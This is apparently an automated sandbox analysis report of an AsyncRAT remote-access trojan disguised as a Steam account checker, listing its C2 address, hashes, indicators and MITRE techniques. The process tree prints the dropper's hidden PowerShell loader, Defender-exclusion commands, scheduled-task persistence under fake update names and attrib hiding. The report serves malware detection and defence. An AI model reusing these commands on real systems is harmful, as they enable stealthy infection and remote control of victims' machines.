asyncrat | 1cc12f5a9abb33e222373fa27b4ef631abfbd9343a168b194ef8c958bee79abc

Analysis

max time kernel
150s
max time network
138s
platform
windows7_x64
resource
win7-20221111-es
resource tags

arch:x64arch:x86image:win7-20221111-eslocale:es-esos:windows7-x64systemwindows
submitted
01/01/2023, 04:29

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

Steam Checker By abbadon/Steam Checker V0.1 By Abbadon.exe
Size

121KB
MD5

f0bfac0acff34c1e85a1fa3b63c315a6
SHA1

52b9ab7aa6b1836ae278da3575c5c7338f2c43b5
SHA256

2ddc9622baef1953e848b441d949bea26e22097149a44b04f0fa870e334c549a
SHA512

fd4021d4638ffb54afa237b372f92768a105cd1b1fa7a7012ca64e4bfab73c91f826191b9d07aff09bc26f170b1aea673dd9e08be5fb311708177a7ed4a7fdbc
SSDEEP

3072:5bCyJlgzy96ZZZZZZZZZZZZZZZZMZZZZZZZZZZvZZZZZZZZZZZZZZZZZZZZZZZZ+:5bIy9Wq

Score

10^/10

asyncrat c rat

Malware Config

Extracted

Family

asyncrat

Version

1.0.7

Botnet

185.81.157.169:2023

Mutex

7G6ZCBCA-NJ11-YS93-65bg-CX918E7238D5

Attributes

delay
1
install
false
install_folder
%AppData%

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers.
rat asyncrat

Async RAT payload 8 IoCs

rat

resource	yara_rule
behavioral19/memory/1000-106-0x0000000000400000-0x0000000000412000-memory.dmp	asyncrat
behavioral19/memory/1000-107-0x0000000000400000-0x0000000000412000-memory.dmp	asyncrat
behavioral19/memory/1000-108-0x0000000000400000-0x0000000000412000-memory.dmp	asyncrat
behavioral19/memory/1000-109-0x000000000040CBAE-mapping.dmp	asyncrat
behavioral19/memory/1000-111-0x0000000000400000-0x0000000000412000-memory.dmp	asyncrat
behavioral19/memory/1000-113-0x0000000000400000-0x0000000000412000-memory.dmp	asyncrat
behavioral19/memory/1240-124-0x000000000040CBAE-mapping.dmp	asyncrat
behavioral19/memory/972-140-0x000000000040CBAE-mapping.dmp	asyncrat

Executes dropped EXE 4 IoCs

pid	Process
1492	SystemUpdates.exe
440	MicrosoftEdgeUpdates.exe
1088	SystemUpdates.exe
480	SystemUpdates.exe

Suspicious use of SetThreadContext 3 IoCs

description	pid	Process	procid_target
PID 1492 set thread context of 1000	1492	SystemUpdates.exe	44
PID 1088 set thread context of 1240	1088	SystemUpdates.exe	46
PID 480 set thread context of 972	480	SystemUpdates.exe	48

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

pid	Process
824	schtasks.exe
628	schtasks.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
440	MicrosoftEdgeUpdates.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
896	powershell.exe
896	powershell.exe
956	powershell.exe
1916	powershell.exe
592	powershell.exe
1444	powershell.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

description	pid	Process
Token: SeDebugPrivilege	896	powershell.exe
Token: SeDebugPrivilege	956	powershell.exe
Token: SeDebugPrivilege	1916	powershell.exe
Token: SeDebugPrivilege	592	powershell.exe
Token: SeDebugPrivilege	1444	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1984 wrote to memory of 896	1984	Steam Checker V0.1 By Abbadon.exe	28
PID 1984 wrote to memory of 896	1984	Steam Checker V0.1 By Abbadon.exe	28
PID 1984 wrote to memory of 896	1984	Steam Checker V0.1 By Abbadon.exe	28
PID 1984 wrote to memory of 896	1984	Steam Checker V0.1 By Abbadon.exe	28
PID 896 wrote to memory of 1468	896	powershell.exe	30
PID 896 wrote to memory of 1468	896	powershell.exe	30
PID 896 wrote to memory of 1468	896	powershell.exe	30
PID 896 wrote to memory of 1468	896	powershell.exe	30
PID 896 wrote to memory of 1596	896	powershell.exe	31
PID 896 wrote to memory of 1596	896	powershell.exe	31
PID 896 wrote to memory of 1596	896	powershell.exe	31
PID 896 wrote to memory of 1596	896	powershell.exe	31
PID 1596 wrote to memory of 956	1596	cmd.exe	33
PID 1596 wrote to memory of 956	1596	cmd.exe	33
PID 1596 wrote to memory of 956	1596	cmd.exe	33
PID 1596 wrote to memory of 956	1596	cmd.exe	33
PID 1596 wrote to memory of 1916	1596	cmd.exe	34
PID 1596 wrote to memory of 1916	1596	cmd.exe	34
PID 1596 wrote to memory of 1916	1596	cmd.exe	34
PID 1596 wrote to memory of 1916	1596	cmd.exe	34
PID 1596 wrote to memory of 824	1596	cmd.exe	35
PID 1596 wrote to memory of 824	1596	cmd.exe	35
PID 1596 wrote to memory of 824	1596	cmd.exe	35
PID 1596 wrote to memory of 824	1596	cmd.exe	35
PID 1596 wrote to memory of 628	1596	cmd.exe	36
PID 1596 wrote to memory of 628	1596	cmd.exe	36
PID 1596 wrote to memory of 628	1596	cmd.exe	36
PID 1596 wrote to memory of 628	1596	cmd.exe	36
PID 1596 wrote to memory of 1308	1596	cmd.exe	37
PID 1596 wrote to memory of 1308	1596	cmd.exe	37
PID 1596 wrote to memory of 1308	1596	cmd.exe	37
PID 1596 wrote to memory of 1308	1596	cmd.exe	37
PID 1596 wrote to memory of 688	1596	cmd.exe	38
PID 1596 wrote to memory of 688	1596	cmd.exe	38
PID 1596 wrote to memory of 688	1596	cmd.exe	38
PID 1596 wrote to memory of 688	1596	cmd.exe	38
PID 1596 wrote to memory of 592	1596	cmd.exe	39
PID 1596 wrote to memory of 592	1596	cmd.exe	39
PID 1596 wrote to memory of 592	1596	cmd.exe	39
PID 1596 wrote to memory of 592	1596	cmd.exe	39
PID 1596 wrote to memory of 1444	1596	cmd.exe	40
PID 1596 wrote to memory of 1444	1596	cmd.exe	40
PID 1596 wrote to memory of 1444	1596	cmd.exe	40
PID 1596 wrote to memory of 1444	1596	cmd.exe	40
PID 988 wrote to memory of 1492	988	taskeng.exe	42
PID 988 wrote to memory of 1492	988	taskeng.exe	42
PID 988 wrote to memory of 1492	988	taskeng.exe	42
PID 988 wrote to memory of 1492	988	taskeng.exe	42
PID 988 wrote to memory of 1492	988	taskeng.exe	42
PID 988 wrote to memory of 1492	988	taskeng.exe	42
PID 988 wrote to memory of 1492	988	taskeng.exe	42
PID 988 wrote to memory of 440	988	taskeng.exe	43
PID 988 wrote to memory of 440	988	taskeng.exe	43
PID 988 wrote to memory of 440	988	taskeng.exe	43
PID 988 wrote to memory of 440	988	taskeng.exe	43
PID 988 wrote to memory of 440	988	taskeng.exe	43
PID 988 wrote to memory of 440	988	taskeng.exe	43
PID 988 wrote to memory of 440	988	taskeng.exe	43
PID 1492 wrote to memory of 1000	1492	SystemUpdates.exe	44
PID 1492 wrote to memory of 1000	1492	SystemUpdates.exe	44
PID 1492 wrote to memory of 1000	1492	SystemUpdates.exe	44
PID 1492 wrote to memory of 1000	1492	SystemUpdates.exe	44
PID 1492 wrote to memory of 1000	1492	SystemUpdates.exe	44
PID 1492 wrote to memory of 1000	1492	SystemUpdates.exe	44

Views/modifies file attributes 1 TTPs 2 IoCs

evasion

Hidden Files and Directories

T1158

pid	Process
1308	attrib.exe
688	attrib.exe

C:\Users\Admin\AppData\Local\Temp\Steam Checker By abbadon\Steam Checker V0.1 By Abbadon.exe
"C:\Users\Admin\AppData\Local\Temp\Steam Checker By abbadon\Steam Checker V0.1 By Abbadon.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1984
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -Command Add-Type -AssemblyName System.Windows.Forms Add-Type -AssemblyName Microsoft.VisualBasic [String] $Config_Path = 'C:\Users\Admin\AppData\Local\Temp\Steam Checker By abbadon' + '\config\config' [String] $Tool_Path = 'C:\Users\Admin\AppData\Local\Temp\Steam Checker By abbadon' + '\config\config\Rev.exe' try { if ([System.IO.File]::Exists($Config_Path + '\A1.exe') -eq $true) { [System.Diagnostics.Process]::Start($Config_Path + '\A1.exe') } [String[]] $PSCommands = @('@shift /0', '@echo off', '@setlocal enableextensions', '@cd /d "%~dp0"', 'config\Config.bat') [System.Diagnostics.Process] $Proc = New-Object System.Diagnostics.Process [System.Diagnostics.ProcessStartInfo] $StartInfo = New-Object System.Diagnostics.ProcessStartInfo $StartInfo.FileName = 'cmd.exe' $StartInfo.RedirectStandardInput = $true $StartInfo.UseShellExecute = $false $StartInfo.WindowStyle = [System.Diagnostics.ProcessWindowStyle]::Hidden $StartInfo.CreateNoWindow = $true $Proc.StartInfo = $StartInfo $Proc.Start() [System.IO.StreamWriter] $SW = $Proc.StandardInput if ($SW.BaseStream.CanWrite -eq $true) { $SW.WriteLine($PSCommands[0]) $SW.WriteLine($PSCommands[1]) $SW.WriteLine($PSCommands[2]) $SW.WriteLine($PSCommands[3]) $SW.WriteLine($PSCommands[4]) } [System.Threading.Thread]::Sleep(3000) if ([System.IO.File]::Exists($Tool_Path) -eq $true) { [Byte[]] $Rev_Bytes = [System.IO.File]::ReadAllBytes($Tool_Path) [Array]::Reverse($Rev_Bytes) [System.IO.FileStream] $FS = [System.IO.File]::Create($Config_Path + '\A1.exe') $FS.Write($Rev_Bytes, 0, $Rev_Bytes.Length) $FS.Close() $FS.Dispose() [System.IO.File]::Delete($Tool_Path) [System.Diagnostics.Process]::Start($Config_Path + '\A1.exe') } } catch { }
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:896
- - C:\Users\Admin\AppData\Local\Temp\Steam Checker By abbadon\config\config\A1.exe
    "C:\Users\Admin\AppData\Local\Temp\Steam Checker By abbadon\config\config\A1.exe"
    3⤵
    PID:1468
- - C:\Windows\SysWOW64\cmd.exe
    "cmd.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1596
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users"
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:956
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell Add-MpPreference -ExclusionPath "C:\Users" -force
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1916
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /create /sc minute /mo 1 /tn "Microsoft\MicrosoftEdgeUpdates\EdgeUpdate" /tr "C:\Users\Admin\AppData\Roaming\MicrosoftEdgeUpdates\MicrosoftEdgeUpdates.exe" /RL HIGHEST /f
      4⤵
      Creates scheduled task(s)
      PID:824
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /create /sc minute /mo 1 /tn "Microsoft\SystemUpdates\SysUpdate" /tr "C:\Users\Admin\AppData\Roaming\SystemUpdates\SystemUpdates.exe" /RL HIGHEST /f
      4⤵
      Creates scheduled task(s)
      PID:628
  - - C:\Windows\SysWOW64\attrib.exe
      attrib +h +s C:\Users\Admin\AppData\Roaming\MicrosoftEdgeUpdates
      4⤵
      Views/modifies file attributes
      PID:1308
  - - C:\Windows\SysWOW64\attrib.exe
      attrib +h +s C:\Users\Admin\AppData\Roaming\SystemUpdates
      4⤵
      Views/modifies file attributes
      PID:688
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -WindowStyle Hidden -ExecutionPolicy RemoteSigned -File CopyTo.PS1
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:592
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -WindowStyle Hidden -ExecutionPolicy RemoteSigned -File C2.PS1
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1444

C:\Windows\system32\taskeng.exe
taskeng.exe {AEC274A8-B080-4267-9BC8-34D75233B293} S-1-5-21-1214520366-621468234-4062160515-1000:VDWSWJJD\Admin:Interactive:[1]
1⤵
- Suspicious use of WriteProcessMemory
PID:988
- C:\Users\Admin\AppData\Roaming\SystemUpdates\SystemUpdates.exe
  C:\Users\Admin\AppData\Roaming\SystemUpdates\SystemUpdates.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Suspicious use of WriteProcessMemory
  PID:1492
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
    3⤵
    PID:1000
- C:\Users\Admin\AppData\Roaming\MicrosoftEdgeUpdates\MicrosoftEdgeUpdates.exe
  C:\Users\Admin\AppData\Roaming\MicrosoftEdgeUpdates\MicrosoftEdgeUpdates.exe
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: AddClipboardFormatListener
  PID:440
- C:\Users\Admin\AppData\Roaming\SystemUpdates\SystemUpdates.exe
  C:\Users\Admin\AppData\Roaming\SystemUpdates\SystemUpdates.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  PID:1088
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
    3⤵
    PID:1240
- C:\Users\Admin\AppData\Roaming\SystemUpdates\SystemUpdates.exe
  C:\Users\Admin\AppData\Roaming\SystemUpdates\SystemUpdates.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  PID:480
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
    3⤵
    PID:972

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

Hidden Files and Directories

T1158

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Hidden Files and Directories

T1158

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Roaming\MicrosoftEdgeUpdates\MicrosoftEdgeUpdates.exe

Filesize
15KB

MD5
492bd942c673806c4dc7d076d44a06de

SHA1
ace44cc6d1f875aa1b58c2c0c51901f9c11b0221

SHA256
30e04b25281b27e83652be61a8a61821730e30be65a95452c3b93a7a17333f00

SHA512
8a328d28055337629823795dcc96adf1fce2dba6079ec29472b81f8b89917d6b312efc0ec566732effcbfa95ddf96848dead444900096ed71da590dd3861477f

Download Submit
C:\Users\Admin\AppData\Roaming\MicrosoftEdgeUpdates\MicrosoftEdgeUpdates.exe

Filesize
15KB

MD5
492bd942c673806c4dc7d076d44a06de

SHA1
ace44cc6d1f875aa1b58c2c0c51901f9c11b0221

SHA256
30e04b25281b27e83652be61a8a61821730e30be65a95452c3b93a7a17333f00

SHA512
8a328d28055337629823795dcc96adf1fce2dba6079ec29472b81f8b89917d6b312efc0ec566732effcbfa95ddf96848dead444900096ed71da590dd3861477f

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

Filesize
7KB

MD5
ee825715e72aa9979c45f73c9f0243f6

SHA1
1f845e8dce92a8986baa85b0c62becef33aba679

SHA256
3840b6a86caf61efc35cef040526f694f7e2f38a3e793d6eb55eead6bf5ef647

SHA512
d6943577ac1871e8516c99aae29e634f659621431143070a939d4781c24fd24f5fd071fe59c510279ccf111698432480834e883f6e4130a5aed3ca0ac6f9756e

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

Filesize
7KB

MD5
ee825715e72aa9979c45f73c9f0243f6

SHA1
1f845e8dce92a8986baa85b0c62becef33aba679

SHA256
3840b6a86caf61efc35cef040526f694f7e2f38a3e793d6eb55eead6bf5ef647

SHA512
d6943577ac1871e8516c99aae29e634f659621431143070a939d4781c24fd24f5fd071fe59c510279ccf111698432480834e883f6e4130a5aed3ca0ac6f9756e

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

Filesize
7KB

MD5
ee825715e72aa9979c45f73c9f0243f6

SHA1
1f845e8dce92a8986baa85b0c62becef33aba679

SHA256
3840b6a86caf61efc35cef040526f694f7e2f38a3e793d6eb55eead6bf5ef647

SHA512
d6943577ac1871e8516c99aae29e634f659621431143070a939d4781c24fd24f5fd071fe59c510279ccf111698432480834e883f6e4130a5aed3ca0ac6f9756e

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

Filesize
7KB

MD5
ee825715e72aa9979c45f73c9f0243f6

SHA1
1f845e8dce92a8986baa85b0c62becef33aba679

SHA256
3840b6a86caf61efc35cef040526f694f7e2f38a3e793d6eb55eead6bf5ef647

SHA512
d6943577ac1871e8516c99aae29e634f659621431143070a939d4781c24fd24f5fd071fe59c510279ccf111698432480834e883f6e4130a5aed3ca0ac6f9756e

Download Submit
C:\Users\Admin\AppData\Roaming\SystemUpdates\SystemUpdates.exe

Filesize
242KB

MD5
640d55589c839016931890b47305d638

SHA1
bf5062f9c16a3966abe3e7dbb083f539f1b38126

SHA256
6dba74aedcdd6b0f36d2b7ea79b9c9f40fe669ac41ec0560bc67d4039279f689

SHA512
da1142c340124a682f88790d06434c42e9df0ce9ebbe21920235db9de76800728f47a96aa489bf6673b426d16172664dcb4af1e1c134623d0a6eebe20fb7baaa

Download Submit
C:\Users\Admin\AppData\Roaming\SystemUpdates\SystemUpdates.exe

Filesize
242KB

MD5
640d55589c839016931890b47305d638

SHA1
bf5062f9c16a3966abe3e7dbb083f539f1b38126

SHA256
6dba74aedcdd6b0f36d2b7ea79b9c9f40fe669ac41ec0560bc67d4039279f689

SHA512
da1142c340124a682f88790d06434c42e9df0ce9ebbe21920235db9de76800728f47a96aa489bf6673b426d16172664dcb4af1e1c134623d0a6eebe20fb7baaa

Download Submit
C:\Users\Admin\AppData\Roaming\SystemUpdates\SystemUpdates.exe

Filesize
242KB

MD5
640d55589c839016931890b47305d638

SHA1
bf5062f9c16a3966abe3e7dbb083f539f1b38126

SHA256
6dba74aedcdd6b0f36d2b7ea79b9c9f40fe669ac41ec0560bc67d4039279f689

SHA512
da1142c340124a682f88790d06434c42e9df0ce9ebbe21920235db9de76800728f47a96aa489bf6673b426d16172664dcb4af1e1c134623d0a6eebe20fb7baaa

Download Submit
C:\Users\Admin\AppData\Roaming\SystemUpdates\SystemUpdates.exe

Filesize
242KB

MD5
640d55589c839016931890b47305d638

SHA1
bf5062f9c16a3966abe3e7dbb083f539f1b38126

SHA256
6dba74aedcdd6b0f36d2b7ea79b9c9f40fe669ac41ec0560bc67d4039279f689

SHA512
da1142c340124a682f88790d06434c42e9df0ce9ebbe21920235db9de76800728f47a96aa489bf6673b426d16172664dcb4af1e1c134623d0a6eebe20fb7baaa

Download Submit
memory/440-95-0x0000000000900000-0x000000000090A000-memory.dmp

Filesize
40KB

Download
memory/480-145-0x0000000004805000-0x0000000004816000-memory.dmp

Filesize
68KB

Download
memory/592-85-0x0000000072FA0000-0x000000007354B000-memory.dmp

Filesize
5.7MB

Download
memory/896-75-0x00000000739C0000-0x0000000073F6B000-memory.dmp

Filesize
5.7MB

Download
memory/896-58-0x00000000739C0000-0x0000000073F6B000-memory.dmp

Filesize
5.7MB

Download
memory/956-68-0x00000000739C0000-0x0000000073F6B000-memory.dmp

Filesize
5.7MB

Download
memory/1000-104-0x0000000000400000-0x0000000000412000-memory.dmp

Filesize
72KB

Download
memory/1000-106-0x0000000000400000-0x0000000000412000-memory.dmp

Filesize
72KB

Download
memory/1000-107-0x0000000000400000-0x0000000000412000-memory.dmp

Filesize
72KB

Download
memory/1000-108-0x0000000000400000-0x0000000000412000-memory.dmp

Filesize
72KB

Download
memory/1000-103-0x0000000000400000-0x0000000000412000-memory.dmp

Filesize
72KB

Download
memory/1000-111-0x0000000000400000-0x0000000000412000-memory.dmp

Filesize
72KB

Download
memory/1000-113-0x0000000000400000-0x0000000000412000-memory.dmp

Filesize
72KB

Download
memory/1088-129-0x0000000000EB5000-0x0000000000EC6000-memory.dmp

Filesize
68KB

Download
memory/1444-88-0x00000000739C0000-0x0000000073F6B000-memory.dmp

Filesize
5.7MB

Download
memory/1468-72-0x0000000004930000-0x00000000049DA000-memory.dmp

Filesize
680KB

Download
memory/1468-67-0x0000000004840000-0x000000000489C000-memory.dmp

Filesize
368KB

Download
memory/1468-60-0x0000000000170000-0x00000000001C0000-memory.dmp

Filesize
320KB

Download
memory/1468-66-0x00000000003C0000-0x00000000003E4000-memory.dmp

Filesize
144KB

Download
memory/1468-74-0x00000000049E5000-0x00000000049F6000-memory.dmp

Filesize
68KB

Download
memory/1492-101-0x0000000000520000-0x000000000052A000-memory.dmp

Filesize
40KB

Download
memory/1492-100-0x0000000000520000-0x000000000052A000-memory.dmp

Filesize
40KB

Download
memory/1492-99-0x0000000000520000-0x000000000052A000-memory.dmp

Filesize
40KB

Download
memory/1492-96-0x00000000011D0000-0x0000000001212000-memory.dmp

Filesize
264KB

Download
memory/1492-102-0x0000000004BA5000-0x0000000004BB6000-memory.dmp

Filesize
68KB

Download
memory/1916-73-0x00000000739C0000-0x0000000073F6B000-memory.dmp

Filesize
5.7MB

Download
memory/1916-76-0x00000000739C0000-0x0000000073F6B000-memory.dmp

Filesize
5.7MB

Download
memory/1984-54-0x0000000000030000-0x0000000000054000-memory.dmp

Filesize
144KB

Download
memory/1984-55-0x0000000075691000-0x0000000075693000-memory.dmp

Filesize
8KB

Download